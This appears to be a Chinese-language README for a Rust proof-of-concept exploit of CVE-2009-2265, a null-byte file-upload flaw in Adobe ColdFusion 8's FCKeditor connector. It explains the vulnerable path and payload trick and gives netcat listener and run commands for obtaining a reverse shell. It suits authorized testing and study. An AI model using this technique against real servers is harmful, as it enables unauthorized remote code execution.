这是针对 Adobe ColdFusion 8 的 CVE-2009-2265 漏洞利用 POC 的 Rust 实现。
该漏洞允许未认证的攻击者向运行 Adobe ColdFusion 8 的服务器上的 Web 可访问目录上传任意文件,从而导致远程代码执行(RCE)。
upload.cfm 连接器CurrentFolder该漏洞存在于 FCKeditor 组件的文件上传功能中,该组件位于 /CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm。HTTP GET 参数 CurrentFolder 未得到正确清理,从而允许空字节(%00)注入攻击。
通过构造一个将 CurrentFolder 参数设置为 /<filename>.jsp%00 的请求,攻击者可以绕过服务端的扩展名检查。底层系统(通常是 Java)将空字节解释为字符串的结尾,从而将文件名视为 <filename>.jsp。这使得攻击者能够上传恶意的 JSP 文件。服务器会将该文件保存到可公开访问的目录(/userfiles/file/)中,攻击者只需访问其 URL 即可执行该文件。
此 POC 通过生成 JSP 反向 Shell 有效载荷、利用空字节漏洞上传该载荷并触发它来获取目标系统上的 Shell,从而使整个过程自动化。
按照以下步骤编译并运行该漏洞利用程序。
在运行漏洞利用程序之前,请在本地机器上启动一个监听器,以捕获传入的反向 Shell。
nc -lnvp <attacker-port>
执行编译后的二进制文件,为反向 Shell 提供你的本地主机/端口,并为远程目标提供其主机/端口。
cargo run -- --lhost <LHOST> --lport <LPORT> --rhost <RHOST> --rport <RPORT>
脚本触发载荷后,你应该会在 Netcat 监听器上收到连接。
此工具仅用于教育和授权的渗透测试目的。请负责任地使用,并且仅在你拥有或获得明确许可的系统上使用。